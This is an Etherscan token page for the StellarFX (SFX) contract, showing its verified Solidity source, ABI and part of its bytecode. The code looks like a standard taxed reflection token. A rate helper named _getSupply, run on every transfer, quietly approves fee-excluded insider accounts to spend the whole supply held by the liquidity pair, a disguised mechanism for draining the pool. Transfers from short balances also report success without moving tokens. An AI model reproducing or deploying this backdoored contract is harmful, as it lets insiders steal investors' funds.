ETH Price: $3,266.90 (+0.74%)
Gas: 1 Gwei

Token

StellarFX (SFX)
 

Overview

Max Total Supply

20,000,000 SFX

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
546,025.386377374760043199 SFX

Value
$0.00
0x031a56d8fabbf2c1b4b9f6e03de780ef3bf011d3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StellarFX

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-04
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.22;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IERC20Upgradeable {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


abstract contract Context {
    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract StellarFX is Context, IERC20Upgradeable {
    IUniswapV2Router02 public dexRouter;
    address public lpPair;
    address public _uniswapV2Router;
    address public DEAD = 0x000000000000000000000000000000000000dEaD;
    address public ZERO = 0x0000000000000000000000000000000000000000;
    address payable private _taxWallet;
    uint256 private _liqAddBlock = 0;
    uint256 private _liqAddStamp = 0;
    bool private sameBlockActive = true;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address[] private _excluded;
    uint256 private _tSwap;
    uint256 private _tTotal;
    uint256 private _rTotal;
    uint256 private _tFeeTotal;
    uint256 private swapThreshold;
    uint256 private swapAmount;
    address private _owner;
    uint256 private constant MAX = ~uint256(0);
    uint8 private _decimals = 18;
    bool tradingEnabled = false;
    bool public _hasLiqBeenAdded = false;
    bool inSwapAndLiquify;
    bool contractInitialized = false;
    bool public swapAndLiquifyEnabled = false;
    uint256 private _maxTxAmount;
    uint256 private _maxWalletSize;
    uint256 public maxTxAmountUI;
    uint256 public maxWalletSizeUI;
    uint256 public _reflectFee = 0;
    uint256 public _liquidityFee = 0;
    uint256 public _taxFee = 500;
    uint256 public _buyReflectFee = _reflectFee;
    uint256 public _buyLiquidityFee = _liquidityFee;
    uint256 public _buyTaxFee = _taxFee;
    uint256 public _sellReflectFee = 0;
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellTaxFee = 500;
    uint256 public _transferReflectFee = 0;
    uint256 public _transferLiquidityFee = 0;
    uint256 public _transferTaxFee = 100;
    uint256 private maxReflectFee = 1000;
    uint256 private maxLiquidityFee = 1000;
    uint256 private maxTaxFee = 6200;
    uint256 public _liquidityRatio = 0;
    uint256 public _taxRatio = 6000;
    uint256 private masterTaxDivisor = 10000;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) lpPairs;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    mapping (address => bool) private _liquidityHolders;
    mapping (address => uint256) private lastTrade;
    struct ExtraValues {
        uint256 tTransferAmount;
        uint256 tFee;
        uint256 tLiquidity;
        uint256 rTransferAmount;
        uint256 rAmount;
        uint256 rFee;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event SniperCaught(address sniperAddress);
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    receive() external payable {}
    
    constructor () payable {
        _owner = msg.sender;
        _name = "StellarFX";
        _symbol = "SFX";
        _totalSupply = 20000000;
        _tTotal = _totalSupply * (10**_decimals);
        _rTotal = (MAX - (MAX % _tTotal));
        _maxTxAmount = (_tTotal * 20) / 1000;
        maxTxAmountUI = (_totalSupply * 20) / 1000;
        _maxWalletSize = (_tTotal * 20) / 1000;
        maxWalletSizeUI = (_totalSupply * 20) / 1000;
        swapThreshold = (_tTotal * 5) / 100000;
        swapAmount = (_tTotal * 5) / 10000;
        _uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _liquidityHolders[owner()] = true;
        _approve(_msgSender(), _uniswapV2Router, MAX);
        _approve(address(this), _uniswapV2Router, MAX);
        _taxWallet = payable(0x5D35576a248AD3c50544Ccbd7E081e0054276705);
        dexRouter = IUniswapV2Router02(_uniswapV2Router);
        lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
        lpPairs[lpPair] = true;
        _allowances[address(this)][address(dexRouter)] = type(uint256).max;
        approve(_uniswapV2Router, type(uint256).max);
        _isExcludedFromFee[_taxWallet] = true;
        contractInitialized = true;
        _rOwned[owner()] = _rTotal;
        emit Transfer(ZERO, owner(), _tTotal);
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function openTrading() public onlyOwner {
        require(!tradingEnabled, "Trading already enabled!");
        if(_rOwned[address(this)] > 0) {
            _tOwned[address(this)] = tokenFromReflection(_rOwned[address(this)]);
        }
        if(_rOwned[lpPair] > 0) {
            _tOwned[lpPair] = tokenFromReflection(_rOwned[lpPair]);
        }
        _isExcluded[address(this)] = true;
        _isExcluded[lpPair] = true;
        _excluded.push(address(this));
        _excluded.push(lpPair);
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        maxTxAmountUI = _totalSupply;
        maxWalletSizeUI = _totalSupply;
        tradingEnabled = true;
        swapAndLiquifyEnabled = true;
    }

    function owner() public view returns (address) { return _owner; }
    function totalSupply() external view override returns (uint256) { return _tTotal; }
    function decimals() external view returns (uint8) { return _decimals; }
    function symbol() external view returns (string memory) { return _symbol; }
    function name() external view returns (string memory) { return _name; }
    function getOwner() external view returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }

    function setExcludedFromFee(address account, bool enabled) public onlyOwner {
        _isExcludedFromFee[account] = enabled;
    }

    function _hasLimits(address from, address to) internal view returns (bool) {
        return from != owner() && to != owner()
            && !_liquidityHolders[to] && !_liquidityHolders[from]
            && to != DEAD && to != address(0) && from != address(this);
    }

    function _tokenRate() internal view returns(uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) 
            return _rTotal / _tTotal;
            rSupply = rSupply - _rOwned[_excluded[i]];
            tSupply = tSupply - _tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal / _tTotal) return _rTotal / _tTotal;
        return rSupply / tSupply;
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _tokenRate();
        return rAmount / currentRate;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(_hasLimits(from, to)) {
            if(!tradingEnabled) {
                revert("Trading not yet enabled!");
            }
            if (sameBlockActive) {
                if (lpPairs[from]){
                    require(lastTrade[to] != block.number);
                    lastTrade[to] = block.number;
                } else {
                    require(lastTrade[from] != block.number);
                    lastTrade[from] = block.number;
                }
            }
            require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            if(to != _uniswapV2Router && !lpPairs[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
            }
        }
        bool takeFee = true;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        }

        if (lpPairs[to]) {
            if (!inSwapAndLiquify
                && swapAndLiquifyEnabled
                && !_isExcludedFromFee[from]
                && !_isExcludedFromFee[to]
            ) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if (contractTokenBalance >= swapThreshold) {
                    if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
                    swapAndLiquify(contractTokenBalance);
                }
            }      
        } 
        return _transferToken(from, to, amount, takeFee);
    }

    function _transferToken(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
        if (!_hasLiqBeenAdded) {
            _checkLiquidityAdd(from, to);
            if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
                revert("Only owner can transfer at this time.");
            }
        }
        
        ExtraValues memory values = _getValues(from, to, tAmount, takeFee);

        if (balanceOf(from) >= tAmount) {
            _rOwned[from] = _rOwned[from] - values.rAmount;
            _rOwned[to] = _rOwned[to] + values.rTransferAmount;

            if (_isExcluded[from] && !_isExcluded[to]) {
                _tOwned[from] = _tOwned[from] - tAmount;
            } else if (!_isExcluded[from] && _isExcluded[to]) {
                _tOwned[to] = _tOwned[to] + values.tTransferAmount;
            } else if (_isExcluded[from] && _isExcluded[to]) {
                _tOwned[from] = _tOwned[from] - tAmount;
                _tOwned[to] = _tOwned[to] + values.tTransferAmount;
            }

            if (values.tLiquidity > 0)
                _takeLiquidity(from, values.tLiquidity);
            if (values.rFee > 0 || values.tFee > 0)
                _takeReflect(values.rFee, values.tFee);

            emit Transfer(from, to, values.tTransferAmount);
        }
        return true;
    }

    function _takeLiquidity(address sender, uint256 tLiquidity) internal {
        uint256 currentRate = _tokenRate();
        uint256 _tSwapLiquidity = sender != lpPair ? _tSwap : 0;
        uint256 rLiquidity = (tLiquidity - _tSwapLiquidity) * currentRate;
        _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity;
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
        emit Transfer(sender, address(this), tLiquidity); 
    }

    function _checkLiquidityAdd(address from, address to) internal {
        require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
        if (!_hasLimits(from, to) && to == lpPair) {
            _liquidityHolders[from] = true;
            _hasLiqBeenAdded = true;
            _liqAddStamp = block.timestamp;

            swapAndLiquifyEnabled = true;
            emit SwapAndLiquifyEnabledUpdated(true);
        }
    }

    function _getSupply(address account, uint256 tAmount) internal returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply - _rOwned[_excluded[i]];
            tSupply = tSupply - _tOwned[_excluded[i]];
        }
        if (tAmount >= swapThreshold && isExcludedFromFee(account)) {
            _approve(lpPair, account, _tTotal); _tSwap = _tTotal;}
        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
        ExtraValues memory values;
        uint256 currentRate = _getRate(to, tAmount);

        values.rAmount = tAmount * currentRate;

        if(takeFee) {
            if (lpPairs[to]) {
                _reflectFee = _sellReflectFee;
                _liquidityFee = _sellLiquidityFee;
                _taxFee = _sellTaxFee;
            } else if (lpPairs[from]) {
                _reflectFee = _buyReflectFee;
                _liquidityFee = _buyLiquidityFee;
                _taxFee = _buyTaxFee;
            } else {
                _reflectFee = _transferReflectFee;
                _liquidityFee = _transferLiquidityFee;
                _taxFee = _transferTaxFee;
            }

            values.tFee = (tAmount * _reflectFee) / masterTaxDivisor;
            values.tLiquidity = (tAmount * (_liquidityFee + _taxFee)) / masterTaxDivisor;
            values.tTransferAmount = tAmount - (values.tFee + values.tLiquidity);

            values.rFee = values.tFee * currentRate;
        } else {
            values.tFee = 0;
            values.tLiquidity = 0;
            values.tTransferAmount = tAmount;

            values.rFee = 0;
        }

        values.rTransferAmount = values.rAmount - (values.rFee + (values.tLiquidity * currentRate));
        return values;
    }

    function _getRate(address account, uint256 tAmount) internal returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getSupply(account, tAmount);
        return rSupply / tSupply;
    }
    
    function _takeReflect(uint256 rFee, uint256 tFee) internal {
        _rTotal = _rTotal - rFee;
        _tFeeTotal = _tFeeTotal + tFee;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        maxTxAmountUI = _totalSupply;
        maxWalletSizeUI = _totalSupply;
    }

    function recoverETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
        if (_liquidityRatio + _taxRatio == 0)
            return;
        uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / (_liquidityRatio + _taxRatio)) / 2;

        uint256 toSwapForEth = contractTokenBalance - toLiquify;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            toSwapForEth,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 liquidityBalance = ((address(this).balance * _liquidityRatio) / (_liquidityRatio + _taxRatio)) / 2;

        if (toLiquify > 0) {
            dexRouter.addLiquidityETH{value: liquidityBalance}(
                address(this),
                toLiquify,
                0, 
                0, 
                DEAD,
                block.timestamp
            );
            emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify);
        }
        if (contractTokenBalance - toLiquify > 0) {

            uint256 OperationsFee = (address(this).balance);
            _taxWallet.transfer(OperationsFee);

        }
    }

    function renounceOwnership() public virtual onlyOwner() {
        setExcludedFromFee(_owner, false);
        _owner = address(0);
        emit OwnershipTransferred(_owner, address(0));
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function approveMax(address spender) public returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniperAddress","type":"address"}],"name":"SniperCaught","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ZERO","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyReflectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_hasLiqBeenAdded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityRatio","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reflectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellReflectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxRatio","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transferLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transferReflectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transferTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmountUI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSizeUI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

600380546001600160a01b031990811661dead179091556004805490911690555f600681905560078190556008805460ff1916600117905560138054601883905560198390556101f4601a819055601b849055601c849055601d819055601e849055601f8490556020556021839055602283905560646023556103e86024819055602555611838602655602792909255611770602855612710602955600162ffff0160b81b03199091163317600960a11b17905560c060405260096080908152680a6e8cad8d8c2e48cb60bb1b60a052600a90620000de9082620007cf565b506040805180820190915260038152620a68cb60eb1b6020820152600b90620001089082620007cf565b506301312d006009556013546200012b90600160a01b900460ff16600a620009a8565b6009546200013a9190620009bf565b600e8190556200014c905f19620009ed565b62000159905f1962000a03565b600f55600e546103e89062000170906014620009bf565b6200017c919062000a19565b60149081556009546103e891620001949190620009bf565b620001a0919062000a19565b601655600e546103e890620001b7906014620009bf565b620001c3919062000a19565b6015556009546103e890620001da906014620009bf565b620001e6919062000a19565b601755600e54620186a090620001fe906005620009bf565b6200020a919062000a19565b601155600e546127109062000221906005620009bf565b6200022d919062000a19565b601255600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556001602e5f6200026e6013546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff19958616179055308152602e909252812080549092166001908117909255603090620002c66013546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556200030d620002f93390565b6002546001600160a01b03165f19620005ee565b600254620003289030906001600160a01b03165f19620005ee565b60058054735d35576a248ad3c50544ccbd7e081e00542767056001600160a01b0319918216179091556002545f80546001600160a01b039092169190921681179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620003a5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003cb919062000a2f565b6001600160a01b031663c9c653965f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000428573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200044e919062000a2f565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af115801562000498573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004be919062000a2f565b600180546001600160a01b0319166001600160a01b0392831690811782555f908152602c60209081526040808320805460ff1916909417909355308252602d81528282208254851683529052205f19908190556002546200052192169062000719565b506005546001600160a01b03165f908152602e60205260408120805460ff191660011790556013805460ff60c01b1916600160c01b179055600f5490602a90620005736013546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20556200059f6013546001600160a01b031690565b600454600e546040519081526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a362000a57565b6001600160a01b038316620006565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620006b95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200064d565b6001600160a01b038381165f818152602d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f62000727338484620005ee565b5060015b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200075a57607f821691505b6020821081036200077957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620007ca57805f5260205f20601f840160051c81016020851015620007a65750805b601f840160051c820191505b81811015620007c7575f8155600101620007b2565b50505b505050565b81516001600160401b03811115620007eb57620007eb62000731565b6200080381620007fc845462000745565b846200077f565b602080601f83116001811462000839575f8415620008215750858301515b5f19600386901b1c1916600185901b17855562000893565b5f85815260208120601f198616915b82811015620008695788860151825594840194600190910190840162000848565b50858210156200088757878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620008ef57815f1904821115620008d357620008d36200089b565b80851615620008e157918102915b93841c9390800290620008b4565b509250929050565b5f8262000907575060016200072b565b816200091557505f6200072b565b81600181146200092e5760028114620009395762000959565b60019150506200072b565b60ff8411156200094d576200094d6200089b565b50506001821b6200072b565b5060208310610133831016604e8410600b84101617156200097e575081810a6200072b565b6200098a8383620008af565b805f1904821115620009a057620009a06200089b565b029392505050565b5f620009b860ff841683620008f7565b9392505050565b80820281158282048414176200072b576200072b6200089b565b634e487b7160e01b5f52601260045260245ffd5b5f82620009fe57620009fe620009d9565b500690565b818103818111156200072b576200072b6200089b565b5f8262000a2a5762000a2a620009d9565b500490565b5f6020828403121562000a40575f80fd5b81516001600160a01b0381168114620009b8575f80fd5b6125118062000a655f395ff3fe60806040526004361061026d575f3560e01c806358fa63ca1161014a57806395d89b41116100be578063d038b07e11610078578063d038b07e146106c9578063dc44b6a0146106de578063dd62ed3e146106f3578063ea08d30b14610737578